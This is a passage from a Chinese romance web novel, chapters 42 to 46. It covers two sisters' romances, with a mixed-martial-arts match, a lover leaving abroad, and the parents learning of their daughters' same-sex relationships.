接下来的日子,时千岁的进攻火力全开。骚话当面背后不断,甚至以两人为主角写了本小说,情节正发展到春梦阶段。
这天,时千岁再次敲开言浠办公室的门。
言浠看着她怀中抱着的一摞工作文件,有些惊愕,“这是?”
时千岁把东西往她办公桌上一丢,宣布道,“从今以后我就是你的贴身助理了,你的办公室,也是我的办公室。”
言浠心头一跳,“时总同意了?”
那时总必定猜到了小家伙的心思,即便她们还没在一起,时总会怎么想?
会不会怀疑她别有用心,又会不会觉得她忘恩负义?
毕竟,她言浠能从一个闭塞山村走出来,走到今天,离不开时家的资助。
时千岁没有察觉到她的情绪,轻飘飘道,“这点小事需要跟我姐说吗?跟她秘书讲一声就好了。”
言浠刚松一口气,心又立刻悬起来。
这小家伙搬到她办公室,岂不是会更加肆无忌惮?
时千岁显然是看穿了她的顾虑,抢先保证,“放心,我不会打扰你工作的,”她规规矩矩坐到沙发上,“我乖得很。”
刚坐下,又突然想到什么,“对了,过两天大春要比赛,我去给她加油,你陪我一起去吧?我姐也来,她说她也想见你。”
闻言,言浠皱紧了眉头。
时总果然还是察觉到了,事到如今,再逃避显然说不过去。
时千岁刚想说,不去也没关系。
言浠便抢先开口,“去!”
时千岁眼睛瞬间亮的惊人,笑容灿烂,“就知道你最好了!”
言浠叫人抬来了一套崭新的办公桌椅,放到了门口的位置,用于时千岁办公,至于工作内容无非是整理文件及整理当日待办事项,并无再多,毕竟时千岁调过来的真实目的也并不在此。
时千岁花了五分钟完成了今日工作后,就往桌子上一趴,开始画画写写。
这一趴就是一上午,不但没有打扰言浠工作,期间甚至连头都没抬。
言浠却是直觉她在憋什么大招。
几经犹豫终于开口问道,“你在画什么?”
“办公室的地图。”
言浠:“???”
“办公室很大吗?会迷路吗?”
笨,画办公室地图当然是留着解锁姿势用,这么刺激的场地,不用岂不是白瞎?
时千岁卖了个关子,“不告诉你。”
言浠有点心慌。
终于,时千岁描绘完了最后一笔,她站起身,径直走向门口,“吧嗒”一声,反锁上了办公室的门。
言浠一惊,“锁门干什么?”
时千岁笑而不语,绕到她办公桌前,双手撑在桌沿,“我给你发的春梦片段看见了吗?”
言浠心头一跳,怎么又要读后感?
那片段看得人血脉偾张,她甚至知道了小家伙最喜欢的姿势。
——原来是对着镜子
还是低估了她的开放程度!
言浠眼神飘忽,含糊道,“还不错,文笔有进步,”至少,画面感十足。
“那看在我今天这么乖,加上进步这么大的份上”时千岁凑得更近,呼吸几乎拂过言浠的脸颊,“你不奖励我吗?”
“奖励什么?”言浠心里打鼓。
柔软的唇瓣带着温热,不经意间擦过言浠的脸颊,时千岁微微错开身子,把手伸向了抽屉,精准的摸出一颗水果糖。
撕开糖衣,含住糖果,时千岁笑地狡黠,“吃糖啊,不然奖励什么?”
言浠松了口气的同时,心底却悄然滑过了一丝隐秘的失望。
下一秒,温软的唇便覆了上来,舌尖轻巧地撬开齿关,将那颗水果糖不容拒绝地推进了言浠的口中。
“老师,”时千岁贴着她的唇瓣,气息灼热,“写文我会了,但是接吻还不会。”
“你教我?”
【作者有话说】
【注】:酒精吧啦吧啦…自我控制的区域。这句话来源百度
43
第43章
◎怎么办,她居然把千金姐睡了!◎
国庆期间,大春的比赛正式拉开帷幕,赢下这场比赛,她将正式踏上职业赛场。
时千岁和言浠一早便赶往体育场找大春,奈何大春忙于赛前准备,三人只是匆匆打了个照面。
于是两人便先去附近小吃街逛了逛,又按时千金的交代,在旁边五星级酒店办理了入住。
去前台拿了房卡,时千岁先刷开自己的那一间,观察了一下,是中规中矩的标间。
她好奇地刷开另一间。
门开的瞬间,时千岁呆住了,言浠的目光越过她,看到房间里那些过于醒目的情、趣设施时,也是微微一愣。
“这”她欲言又止,心中升起一个荒唐的猜测。
时千岁解释,“老姐说假期不好订房,只订到一间标间,和一套情趣房。”
“是吗?”言浠微微挑眉,堂堂时总,会订不到房间?不信!
时千岁叹了口气,惋惜都写在了脸上。
好想和老姐调换一下房间啊
傍晚,两人再次踏入体育场。
场内第一场比赛已经开始。
两人挤过沸腾的人群,坐到了预定好的看台上。
八角笼内的搏斗拳拳到肉,时千岁看着那激烈的场面,忍不住往言浠怀里缩了缩。
“大春等下不会受伤吧我好紧张。”
以前她也总是看到大春挂彩,但大春每次都是轻描淡写地说“不痛,”她当时也就信了,如今近距离看到的这真实的互博,难免心疼又担忧。
言浠轻轻揽住她的肩,无声的给予安慰。
时千岁目光瞥向身边空位,不满地撇了撇嘴。
下一场就到大春了,这个时千金居然还没来!
第一场比赛结束,主持人高声介绍下一场选手进场。
大春步伐沉稳地踏上擂台,利落的运动背心勾勒出力量感十足的肌肉线条,反观她的对手,比她矮越一头,但动作却异常灵活矫健。
比赛开始的铃声敲响,几乎同时,一个身影带着风尘仆仆的气息挤进了旁边的空位。
“飞机晚点,”时千金低声对时千岁解释了一句,又朝言浠匆匆点了下头,下一秒,她的目光便牢牢锁向了擂台。
对方仗着身体灵活频频发起试探,大春几次重拳都只打中了空气,节奏逐渐紊乱。
突然对方抓住间隙,一个摆拳砸下,拳头结结实实的砸中大春眉骨,鲜血几乎瞬间涌出,顺着脸颊滴落。
“啊!”时千岁吓得捂住了嘴。
而一旁的时千金放在座椅扶手上的手猛地攥紧,指尖用力到发白,呼吸也在这一瞬屏住了。
台上的大春向台下扫过,目光精准的定格在时千金身上,几乎同时抿开了一个轻松的笑容,似乎是想告诉她,不必担心。
教练给她紧急处理伤口,稍作调整后,大春再度站上了擂台。
这一次,大春彻底放稳了心态,不在急于重击,而是利用自己臂长的优势频频压缩对手空间,很快对方便被逼至边缘,大春看准时机,一个鞭腿扫到了对方大腿外侧,对方身形一晃,大春步步紧逼,组合拳如疾风暴雨般砸到了对方身上,对方毫无招架之力。
这一回合,大春凭借力量和技术成功掰回一轮,观众热情彻底被点燃,纷纷振臂呐喊。
时千金紧握的手稍微松开了些,但看到大春眼角纱布又隐隐渗出血迹时,心脏再次高高提起。
第三回合,两人的体力损耗严重。
但仔细观察,大春似是更加疲惫,像是在苦苦支撑。
因为减重的原因,体内能量一直处于亏空状态,即便拼命咬牙坚持,脚步依旧虚浮。
对手似乎也是发现了这一点,故意采用了拖延战术。
时间一分一秒过去,大春终于到达了极限,对手抓住机会,蓄力一击,这一拳重重的轰在了她的下巴上。
“砰”,沉闷的打击声,让整个场馆陷入死寂,大春的身体在空中凝滞一瞬,轰然倒地。
看着发生的场上一幕,时千金瞬间红了眼眶。
裁判读秒结束,大春未能站起,主持人宣布对手获胜的瞬间,时千金霍然起身,不顾形象的扒开人群,径直冲向了后台甬道。
“姐,”时千岁也想追过去,手腕却被言浠拉住。
时千岁不解又焦急,“怎么了?”
言浠看着时千金消失的方向,心中的猜测坐实了八九分,她安抚似地拍了拍时千岁,“别急,你姐姐会照顾好大春的,我们先回酒店等她们,”她没点破,小家伙显然对姐姐和大春之间涌动的暗流一无所觉
大春处理好伤口,便被时千金领回了酒店。
得知千金姐今晚将和她一起睡这一消息,大春忐忑了一路,直到撞上眼前人影,才略微回神,局促道,“不好意思千金姐。”
时千金别有深意地看她一眼,“没关系,”接着推开了房门。
房间里的设施猝不及防地撞入眼底,大春整个人瞬间僵住,脸颊以肉眼可见的速度涨红。
时千金却仿佛没看见那些暧昧的设施,自然地牵起她的手,将她拉到床边坐下。
她伸出手,小心的抚过大春的伤口边缘,眼中是毫不掩饰的心疼,“你没必要那么拼的,”接着,一个极其轻柔的吻落在了眼角。
时千金极力压制着哽咽,“疼不疼?”
大春呼吸一滞,巨大的心跳声震得她几乎眩晕,她慌忙摇头,声音有点干涩,“小伤习惯了。”说完几乎是落荒而逃般一头钻进了浴室,试图用冷水浇灭脸上的滚烫和心头的悸动。
等时千金也洗完澡出来,气氛变得更加微妙,大春从大床上爬下来,局促地站到一边,“千金姐我还是打地铺吧”
时千金闻言,嘴角勾起了一抹意味不明的笑,“打地铺?那多不舒服。”
“放心,我不会对你做什么的,”她一步步逼近,眼底的欲望一点点化开,猛地伸出手,抓住了眼前想要逃窜的人的浴带,将人拉至身前,重重地吻住了她的唇。
“才怪。”
天雷勾动地火,这一瞬迸发的情感与赛场上的激烈余韵混合在一起,理智的弦彻底崩断,浴袍在纠缠中滑落。
大春的呼吸变得粗重,欲念冲上头顶,眼睛也泛起了红,就在时千金以为一切尽在掌控时,一股无法反抗的力,猛地箍住了她的手腕。
大春反客为主将她牢牢扣在身下,声音低沉沙哑,“千金姐,你有腱鞘炎,手腕不能太用力,”她俯视着身下难得露出错愕表情的时千金,说,“还是我来。”
时千金眼底闪过一丝罕见的慌乱,“大春!你放开我!”她的喝止在此刻显得如此无力,反而更像是催化剂
两个小时后,时千金累极睡去。
长发铺散在枕间,带着餍足后的慵懒。
而大春却异常清醒,她看着身边熟睡的人,赛场上都未曾有过的心慌此刻席卷了她。
怎么办,她居然把千金姐睡了!
明天又该如何面对?
她茫然地坐在床头,试图从纷乱的脑海中整理出一丝思绪。
却终是于事无补,纠结之下,她打开了手机
另一间房里,时千岁刚钻进言浠怀里,找了个舒服姿势准备睡下。
床头柜上的手机便震个不停。
时千岁迷迷糊糊摸到手机,指尖一滑。
屏幕上蹦出了big春的消息。
【千岁姐,睡了吗?有点事想问你。】
时千岁直起身子,疑惑地嘟囔了一句,“什么事不能当面说?”
言浠也被吵醒,睡眼惺忪地靠了过来,看向屏幕。
时千岁回复:【什么事?】
聊天框显示长久的“正在输入中”,时千岁等得快要睡着了,刚打算放下手机,对面便发来了一条瞬间让她瞌睡全无的消息。
big春:【假如我和千金姐在一起你会同意吗?】
时千岁心中的震惊简直无法用语言形容,她看向言浠,磕磕绊绊道,“什什么意思?”
只见言浠表情也瞬间凝重起来。
对面沉默几秒,发来了一长串解释的消息。
【千岁姐,你别紧张,我刚刚是在看小说,里边有类似的情节,我就好奇,随口问问,因为我刚刚还了“魔镜”,它回答不出,所以我想到了你。】
吓死了吓死了,时千岁呼出一口气,这才回道:【不可能,我不同意。】
对面陷入了长久的沉默。
言浠看着她斩钉截铁的模样,试探问,“为什么这么坚决的反对?”
时千岁没有听出言外之意,笑道,“这不是假如嘛。”
言浠却追问下去,语气带着不易察觉的紧张,“那如果是真的呢?”
时千岁这次认真地想了想,“虽然感情是两个人的事,外人无权干涉,但如果真的要问我的一意见”她语气坚决,“那就是反对!”
言浠心里一紧,语气明显加快很多,“为什么,是因为年龄?”
“不是,”时千岁立刻摇头,她伸出两根手指到空中,“原因有二。”
“第一,我一直把大春当妹妹看待,她要是给我姐在一起了,我管她叫什么?叫“嫂子”?”时千岁表情复杂,“不行,我叫不出口,面子上过不去!”
“第二,大春那么单纯,而我姐前女友多的能成几个足球队了,万一她只是玩玩,辜负了大春怎么办?我不能眼睁睁看着大春往火坑里跳。”
听到这,言浠终于松了一口气。
时千岁看着言浠明显放松下来的神情,突然间福至心灵。
她该不会也是担心这个吧。
时千岁抓起她的手,和她十指相扣贴到胸口,柔声道。
“年龄差怎么了?你七十岁时,我也六十了,不都是两个白发苍苍的小老太太?有什么区别吗?”
44
第44章
◎还想亲。◎
上午十点钟,时千金和大春的房间里依旧没有动静。
考虑一个长途跋涉,另一人刚比完赛,正是需要休息的时候,二人便未作打扰,先行前往了预定好的饭店。
车停在一家环境雅致的私厨门口。
服务员领二人进了包间。
而后端上了几份精美点心,仔细询问了二人忌口后,退下了。
时千岁挨着言浠坐下,开始兴致勃勃的给她介绍,“别看这家店如此低调,其实是很难预约的。”
低调吗?恢宏的古风建筑,竹林、玉雕、牌匾上著名书法家的题字,以及言浠低头看了眼面前金镶玉的餐具,挑了挑眉。
但看小家伙那一脸兴奋的样子便没开口打断。
“这家店一天只招待六桌客人,而且不能点菜,主厨做什么吃什么,就这样预约号都排到了过年,要不是我老爹和老板相熟已久,有钱都进不来。”
时千岁神秘兮兮地,“你知道老板是谁吗”
言浠给她到了杯清茶,推到她面前,“谁”
时千岁抿了一口,润了润喉咙,“谢谢。”继续刚刚的话题,“你记不记得前些年有个影帝,在风头最盛的时候突然退出了观众视野。”
网上当时各种猜测都有,什么得罪了人被雪藏,什跑去结婚生子,更过分的是说人被金主玩、死了,没想到原来是转行了。
“对啊,骆叔叔一生最大的梦乡就是当一名顶级厨师。”
时千岁又跟她讲这位影帝和时来运相识的经过。
言浠静静地听着。
突然,桌上的手机震了震。
时千岁止住了话头,拿起来一看,表情随之凝重起来。
言浠留意到这边的异样,忙问,“怎么了?出什么事了吗?”
“是大春。”
时千岁看着手机上那一长串消息,渐渐模糊了视线。
大春说:【千岁姐,当你看到这条消息时,我已经在前往国外的飞机上,原谅我的不告而别。我想跟你坦白一件事,昨天的“假如”不是“假如”,我和千金姐确实发生了一些不可挽回的事情。但这不是我走的主要原因,三个月前,我接到顶尖俱乐部“DC-boxing”的邀请,这家俱乐部致力于培养世界顶尖选手,但是训练异常艰苦,还有严格的淘汰制,所以我一直在犹豫,但昨天比赛的失利让我彻底醒悟,我想我不能在安于现状了学业的事不用担心,我的老师已经帮我申请了保留学籍。还有啊,我最放心不下的就是千岁姐啦,我不在的日子就拜托言小姐照顾你了,记得少吃辣条,不要淋雨。】
看到最后一句,时千岁直接趴到了言浠身上嚎啕大哭。
“怎么了?”言浠急问,“到底出什么事了?”
好一会儿,时千岁仰起布满泪痕的脸,哽咽道,“大春走了。”
言浠微微蹙了蹙眉,拿起她的手机查看消息。
时千岁恍惚,“她居然真跟我姐”脑海中蹦出两人在家时种种不寻常的反应,原来一切都有迹可循。
目光扫过言浠的脸,看她并没有太过惊讶的模样,心里疑惑,“你看出来了对吧?”
“那你昨天不告诉我”
言浠自知没有立场介入这件事,更没想到事情会是这个走向。
时千岁自责道,“我就应该有所察觉的!”昨晚大春的话漏洞百出“如果我不说那番话,大春是不是就不会走?”
“大春一个人去了国外,人生地不熟的该怎么办啊,她英语又不好,会不会被人欺负?会不会吃不饱穿不暖?万一生病了,又万一收了很严重的伤”
言浠把情绪逐渐激动的时千岁按到怀里轻轻安抚,“大春的离开跟你关系不大,”即便小家伙昨晚坦然接受,大春承认这段感情也是需要一定的时间,抛开压力不谈,这么多年的姐妹之情可不是一朝一夕就能转变的,“而且,大春选择去国外这事,我相信她一定是经过深思熟虑的。”
“她性格沉闷,喜欢把一切都憋在心里不谈,包括失败对她的打击,包括她的野心,包括她的热爱。”
时千岁没有反驳,显然内心已经接受了这一说辞。
“而且,大春是个成年人,自然懂得该如何照顾自己,”言浠一个停顿,“至少比你懂得。”
“言浠!”时千岁拧了拧眉头,不悦道,“什么叫比我懂得?有你这么哄人的吗?”
言浠轻柔地替她揭掉眼角的泪水,“所以呢,心情有好一点点吗?”
时千岁故意板起脸,“哼,没有,”余光看见言浠从兜里掏出了一颗糖,撇撇嘴,“又打算给我吃糖?你难道没有别的手段吗?”
只见言浠撕开糖纸,把糖含到了口中,下一秒,温软的唇瓣便贴了上来。
双唇相触的一霎那,时千岁脑海里骤然炸开了一片片五颜六色的小烟花。
言浠居然主动吻她了!
虽然是完全复刻了她的方式,但也是主动!
时千岁心思活跃,动作略显僵硬,直到轻柔地提醒落在耳边,“专心。”
这才乖乖闭上了眼,开始用心去感受这个吻。
区别于第一次的急躁,和第二次的慌乱,这一次的吻尽显温柔。
温软的唇瓣耐心地贴合、轻吮,带着安抚人心的节奏,接着轻轻启开她的齿关,那颗化了大半的糖果被舌尖灵巧地推了进来。
清甜的滋味瞬间在时千岁的口腔里弥漫开,言浠精准的捉住她的舌尖,轻轻缠绕着、引导着她一同感受那交融的甜。
时千岁生涩的回应着。
直到言浠加深了这个吻。
缠绵的力道加重,索取也变得绵长。时千岁感觉胸腔里的空气被一点点抽走,细微的眩晕感悄然来袭,她这才依依不舍的推开了她。
上次在办公室里小家伙也是这样,只是微微深入,就化成了一滩水。
言浠垂眸看软在怀里的人。
长睫轻颤,眼尾那抹红去而复返,那格外红润的唇随着吐息微微开阖,犹可见内里那截诱人的粉嫩舌尖。
还想亲。
言浠心思微动。
房间内突然响起一道异常阴沉的声音,“没完没了了?”
两人均被这突如其来的声音吓了一跳,急忙循声望去,只见时千金不知何时坐到了二人对面,正一瞬不瞬地望着她们,那眼神淬着火。
“吓我一跳,”时千岁拍了拍胸口,“你什么时候进来的?”
“你说大春走了,扑在她怀里哭的时候,”时千金按了按太阳穴,强打起精神,“给我看看她的留言。”
看到两人依旧紧紧缠绕在一起的姿势,脸色又是一沉,“你先从她腿上下来。”
“哦,”时千岁不情不愿地爬下来,递过了手机。
时千金打开聊天框,开始阅读那一长串的文字,她看的非常慢,也非常仔细。
直到把这段话刻进了脑子,这才暗灭了手机,她故作轻松的笑了笑,喃喃道,“这个大春,就知道逃。”
其实她起床看到空荡荡的房间时,就已经有了预感,但没想过大春居然跑了那么远,而且留言一个字没提到她。
时千岁连珠炮似地发问,“姐,你和大春做了什么不可挽回的事了?你是什么时候对大春起了心思的?你到底是喜欢她还是就想跟她玩玩?”她可有太多问题了。
时千金瞪她一眼,本想说,“你别管,”话一出口却变得虚弱无力,最后只能化作一句无奈的轻叹。
她站起身,往门口走,“你出来一下。”
时千岁刚要跟上前,就被喝止,“我说的不是你,是言浠。”
从被抓包开始,那巨大紧张感几乎要把她淹没了,此时听到了时千金的召唤,反倒轻松不少。
该来的终于来了。
她呼出一口气,给了时千岁一个“安心”的眼神,继而跟上了时千金的脚步。
两人来到大门口。
时千金示意她上车,又把司机和助理支走。
车门重重一关。
时千金压抑着怒火的声音也落到耳边,“你就是害我妹恋爱脑又犯了的人吧”
言浠:“”
“或许是?”
时千金撇她一眼,“好了多久了?”
她还想问前两天是不是吵架了,不然怎么能逼她妹这种无敌恋爱脑说出“再恋爱脑就打死她这种话”。
不料对方却说,“还没在一起。”
“什么?”时千金手紧握成拳,音调猛然拔高,“你再说一遍!”
言浠垂眸片刻,选择了实话实说,“我说我们还没在一起。”
没在一起,接吻算怎么回事?
图好玩?图刺激?还是享受吊着她妹带来的成就感?
时千金脑中瞬间闪过无数猜测,怒火直冲头顶,临近爆发又生生压制住,化为一声冰冷的哂笑,“没在一起,那最好不过了。”
这笑声刺耳,言浠眉头骤然蹙紧,语气也冷了下来,“什么意思?”
“意思很简单,”时千岁审视的目光滑过她的脸,“你的人品,我信不过。”
言浠眼底寒光一闪,“说清楚。”
“别忘了你的出身,还有你那个五毒占尽了的爹。”
听到这个字眼,言浠心底涌起了浓浓的厌恶,厉声道,“别跟我提他。”
时千金冷笑道,“血缘这个东西,有时候就是甩不掉的诅咒,别忘了,人是有劣根性的。”
劣根性三个字像淬毒的尖刀,狠狠扎进她心里,把她这些年为了摆脱那沉重的过去而作的努力戳得粉碎。
言浠脑子嗡的一声,所有理智的弦在这一刻尽数崩断。
愤怒到了冰点,脸上反而平静的可怕。
“所以,你是想让我离开时千岁?”
言浠一字一句,斩钉截铁,“那我要是不呢?”
车门再次打开,言浠独自下了车,往餐厅走去。
无力感后知后觉将她紧紧包围,压的她喘不过气。
手机铃声突兀的响起,打破了凝重的氛围。
屏幕上跳动着“杨素琴”的名字。
言浠接起,声音还带着未散尽的冷冽,“杨老师?”
电话那头,杨老师的声音充满歉意又带着急切,“言言啊,真不想打扰你,但是学校出了点问题。”
言浠握着手机的手瞬间收紧,“出什么事了?”
“你爸,呸呸呸,”杨老师急忙改口,“言文青那个老混蛋!听说你又投了钱,今天带了一帮人把施工队拦住了,死活不让动工,就堵在那,非要拿到钱不可。”
45
第45章
◎别忘了,千岁可是你亲手送到言浠手里的◎
时千岁在包间里焦急等待,却始终不见两人回来。
当服务员第三次进来撤掉凉透的饭菜时,时千岁心中的不安攀升至顶点。
她猛地站起身,急匆匆往外跑,刚推开门,就与独自归来的时千金撞了个正着。
“火急火燎的干什么去”时千金皱眉。
时千岁急切的眼神直往后瞟,“言浠呢?她怎么没回来?”
“言浠言浠就知道言浠!”时千金扔了个白眼,径直越过她,进了包间。
时千岁急忙追上去,“我问你言浠哪去了?”
时千金往椅子上一靠,闭目养神,“我哪知道,她走得急什么都没跟我说。”
“你怎么能不知道呢?明明你们一起出去,”时千岁见她没有开口的意思,抓起手机开始联系言浠。
拨出那串烂熟于心的号码。
听筒里响起机械的电子播报声:“您所拨打的电话正在通话中,请稍后再拨。”
时千岁锲而不舍地继续拨打。
从占线到无人接听最后变成了关机。
甚至微信都没有任何留言,人就这么无声无息的消失了。
不安得到印证,时千岁的泪水决堤、冲破理智,她一把拉住时千金的胳膊,拼命摇晃,“你是不是跟言浠说什么不该说的话了?不然她为什么也不告而别!”
“我能说什么?”时千金被晃得脑仁疼,抬手按住她,“你能不能冷静点。”
而且姓言的不是信誓旦旦不会离开吗?谁能想五分钟不到就没了影?果然女人的嘴骗人的鬼,不靠谱就是不靠谱!
“我怎么冷静?我俩好不容易有了点进展,现在可好,就这么硬生生的被你搅黄了!”时千岁越说越激动,“时千金,你是不是因为我不同意你和大春,所以你就故意”
“住口!”
沉默的人突然一声暴喝,时千岁被吓得肩膀一颤,后半句话硬生生憋了回去。
看她口不择言的样子,时千金彻底动了怒,“我还没找你算账,你倒先跟我兴师问罪了?她到底有什么好,值得你这样子跟我说话?我可是你亲姐姐!”
“什么叫她有什么好?”时千岁敏锐地抓住字眼,逼问道,“果然,你果然跟她说了难听话,对吧?”
见她态度恶劣,时千金索性承认了,“对啊。”
“也不看看她多大年龄,还想老牛吃嫩草。”
“你!”时千岁深吸一口气,瞪了过去,“你还不是一样?你不仅吃嫩草,还专吃窝边草!”
“时千岁!”
时千金霍然起身,怒视着面前咄咄逼人的恋爱脑,“她这种阅历的人,玩你就跟呼吸一样简单!”
“不然你们都亲了,为什么不跟你在一起?”
“她就是在吊着你!”
时千岁毫不退让,回怼过去,“你和大春还做了不可挽回的事呢!那你们怎么也没在一起?”
时千岁的话如同刀子一般直直刺进了她内心,其中蔓延出密密麻麻痛意,时千金捂着胸口缓了好一会,最后落下了一声沉重且无奈的叹息。
“出去,我不想见到你。”
“出去就出去,我也不想见到你!”时千岁说完,便夺门而出
打车、回家,躺回到空荡荡的卧室里。
情绪逐渐平复,时千金的话却开始在她脑海里叫嚣。
“不然都亲了,为什么不和你在一起?”
“她就是在吊着你!”
对啊,连她自己都觉得任何解释都很苍白,所以才会对姐姐反唇相讥,不是吗?
时千岁感觉自己仿佛分裂成了两个人。
一个在说,“姐姐说的有道理。”
另一个反驳,“言浠一定有她的考虑,再给她些时间。”
两个小人僵持不下,最终,时千岁拼命摇头,把这些乱七八糟的声音统统晃了出去。
并在心里重重的咬下了一句话:言浠绝不是那样的人!
话虽如此,但这些声音还是在她心里留下了一颗隐秘的种子
家族群里常年热闹,以至于时来运和梁双敏在群里艾特三姐妹,没得到任何回复后,便知道她们之间一定是出了大问题。
当即买了最近的*机票火速回国。
老两口随便挑选了一处空置的宅子,让助理带人收拾妥当后,搬了进去。
又派人给时千金和时千岁带了过来。
“老爸,老妈,你们怎么来了?”时千岁和他们打了声招呼,然后磨磨蹭蹭坐到了离时千金最远的角落。
客厅中央,父母的表情是前所未有的严肃。
“说说吧,你们俩,还有大春是怎么回事?”时来运和梁双敏在飞机上收到了大春报平安的消息,“她干嘛要去国外?”
目光扫向时千金,见她专心翻阅财经新闻完全没有开口的意思,便看向时千岁。
时千金大喇喇往沙发上一歪,“我喜欢言浠。”
然后扬了扬下巴,“我姐喜欢大春。”
“我们就是因为这个吵架的。”
时千金把平板往桌子上一扔,惊道,“你疯了?”就这么草率的出柜了?“我问你,你脑子呢?跟言浠一起出走了吗?”
时千岁恼道,“你这是什么话?”
“我本来就没打算瞒任何人!”
时千金气极反笑,“那你为什么带着我?想拉个垫背的?”
时千岁气势汹汹地瞪过去,“姐你不打算面对吗?难怪大春要走!”
时千金手紧握成拳,霍然起身,“你!!!”
突然一声暴呵,“闭嘴!”
两人皆是一抖,齐齐看向声音来源。
只见时来运肩线紧绷,那张脸阴沉的可怕,他极力克制着濒临爆发的怒火,牙缝里挤出几个字,“你们刚刚在说什么?再给我说一遍。”
时千岁瞬间气势全消,求助似的看向时千金。
时千金冷笑一声,给了她一个“活该”的眼神,扭过头去。
时千岁缩了缩脖子,随后鼓足了勇气迎向了时来运,倔强道,“我说我喜欢言浠。”
时来运猛然掀翻桌上水杯。
一声炸响,那玻璃杯撞击到大理石地板上,瞬间四分五裂。
“啊!”时千岁吓得尖叫。
时千金无奈地叹了口气,一把将时千岁拉到身后护住。
就在两人以为接下来要面对狂风暴雨般的怒骂时。
客厅却突然陷入了一片死寂。
那暴怒的身影颓然垂落,时来运痛苦地捂住胸口,脸色惨白。
“爸?”
“老爸?”
姐妹二人急忙想上前搀扶。
时来运却虚弱地摆摆手,示意一旁的梁双敏扶他上楼。
“千金,”他有气无力地说,“从明天起,公司的事你不用管了,”又瞪了一眼时千岁,“还有你,不用上班了,立刻把行李从小言那里搬出来。”
“你们俩都给我呆在这里反省,什么时候想明白什么时候才能出门!”
时千岁刚想反驳,就被时来运一句话给堵了回来,“你要是想给我气死,现在就可以走出这个家门。”
时来运被搀扶到卧室躺下。
梁双敏给他倒了杯温水送到床头。
时来运挣扎着拉住她的手,“老婆,给我找一下速效救心丸,谢谢。”
梁双敏十分淡定,“莫得。”
“咳咳咳,”时来运硬生生挤出几滴眼泪,“老婆,你好冷漠。”
梁双敏好整以暇地望着他,“谁不知道你身体强壮得跟牛似的,差不多得了,还装。”
时来运眼底涌出几分委屈,“不装病我能怎么办嘛,以前大春在的时候会当和事佬,她不在,我把握不好尺度啊,打又打不得骂太凶我又心疼。”
梁双敏叹了口气,“这个家没大春得散啊。”
“你还笑,”时来运更委屈了,眼眶都红了,“你刚刚为什么一句话不说?不知道我很难做嘛?”
“好啦好啦,”梁双敏把人揽进怀里,安抚着,“我就是想看看你的态度。”
“我的态度,我还能有什么态度?”时来运愤愤道,“她俩是疯了吗?你说咱俩婚姻幸福,恩爱有加,怎么不学点好,非要搞同性恋呢?肯定是时千金把她妹妹带坏了!”
梁双敏把人从怀里推开推开,板起脸,“时来运!”
连名带姓一起喊,时来运立刻紧张起来,“怎么了老婆?”
梁双敏严肃道,“谁告诉你同性恋就是不正常的?这都什么年代了?还搞这种封建言论,我告诉你,同性恋婚姻合法化是迟早的事。”
“你什么时候爱面子都可以,但是这件事上,你给我收起你的优越感,我不希望我的孩子以后在面对世俗不理解的目光时,还要被亲爹看不起。”
“老婆你别生气,我不是这个意思,”时来运看她动怒,急忙跪到床上,“我为我刚刚的发言道歉。”
“对不起。”
“我不是瞧不起同性恋,我是”时来运扭捏半天,讲出实情。
他有个表妹,二十岁的时候交了个女朋友,当时在村里闹得沸沸扬扬,他那时也觉得,管他男女只要幸福就好,于是帮表妹一起说服亲戚。
苦磨了大半年,亲戚刚勉强接受,她那个女朋友却转眼跟男人结婚,表妹接受不了,一时想不开寻了短见。
生命永远定个在了二十岁。
“我是觉得同性在一起,风险太大,太不靠谱”
“哎”,梁双敏叹了口气,把人重新捞回到怀里,“我理解你,因为真实发生在身边,所以才更加抗拒,但你要好好想想,这种事放在异性情侣难道就少吗?”
“你看看现在家暴的、赌博的、养小三的,还有那种骗财杀妻的多了去了。”
时来运眼底的担忧,在听到下一句话时,化作了甜蜜涌上心口。
梁双敏说,“你以为全天下的男人都和你一样好呢?”
看他那抑制不住上扬的嘴角,梁双敏终于钱切入重点,“性别不重要,人品最重要,不是吗?”
时来运还沉浸在上一句话中,只顾,“对对对。”
梁双敏继续夸道,“要么说,还是你眼光最好。”
时来运一头雾水,“啊?”
“有什么疑问吗?”梁双敏笑,“别忘了,千岁可是你亲手送到言浠手里的。”
拦都拦不住的那种。
46
第46章
◎自家的白菜要被人拱了,能不哭吗?◎
“老婆,我总觉得好像哪里不对,但又说不上来。”
“乖啦,”梁双敏狡黠一笑,摸了摸他的头,“你就说,我说的有没有道理吧?”
时来运把这些话放心里仔细地咀嚼了一遍,终于松了口,“小言算是我们看着长大的,自然没得说。”
“可可可”
梁双敏把他头抬起来,指腹轻轻抚过他泛红的眼眶,“我理解你,从小养大的小白菜要拱手让人了,不舍得对吧?”
听到这扎心窝子的话,时来运当即滚出一行泪,话也说不利索了,憋了半天,憋出一个,“嗯”字。
“我也舍不得,”梁双敏捧起他的头,认真道,“想把我家小白菜拱走,哪有这么容易,自然是要好好考察一番。”
“不仅要考察小言,也要考察千岁,你知道的千岁这孩子打小就三分钟热度,万一对小言之只是图一时新鲜,那肯定不行,小言那孩子已经受了太多苦了,不能让千岁在感情上辜负人家。”
“全全听你的,但但但”时来运还有顾虑,“千金和大春绝对不行,以前千金喜欢乱玩,我们睁一只眼闭一只眼也就算了,她现在怎么敢把注意打到妹妹身上的?”
梁双敏纠正道,“没有血缘关系。”
“那那那”时来运还想争辩。
梁双敏堵住了他的嘴,“肥水不流外人田。”
“同意老二不同意老大,你想厚此薄彼?”
“放心,无论是哪一对儿,我都会好好考量,不会让任何一个孩子受委屈。”
时来运彻底没话说了,“行吧”
“既然如此,那我去叫她俩进来聊一下?”
时来运急,“不行等一下。”
梁双敏了解自家老公,刚刚装病现在又这么快松了口,面子上过不去,于是贴心地提醒道,“不然你去卫生间躲一躲?”
时来运一听这话,一个鲤鱼打挺从床上弹起来,一溜烟钻进了卫生间
姐妹两人在客厅等了许久,卧室大门始终紧闭。
时千岁坐立不安,终于忍不住打破了沉默,“姐,现在怎么办啊,老爸身体会有事吗?我好担心。”
“现在知道我是你姐了?”时千金依旧不想理她,“刚出柜的气势呢?都跟你说了多少遍,爸妈不是那种轻易能接受的人,你还这么没脑子。”
“那怎么办啊?”时千岁急。
时千金两手一摊,“我也没办法,走一步看一步喽。”
时千岁郁闷地垂下头,片刻又低低唤了一声,“姐。”
“干什么?”
时千岁慢慢地挪到了时千金身边坐下,抱住她手臂,“我想跟你道歉,我不该跟你说那么重的话,还老往你伤口上撒盐。”
“对不起,你能别生我气了吗?”
“你别不理我了呗。”
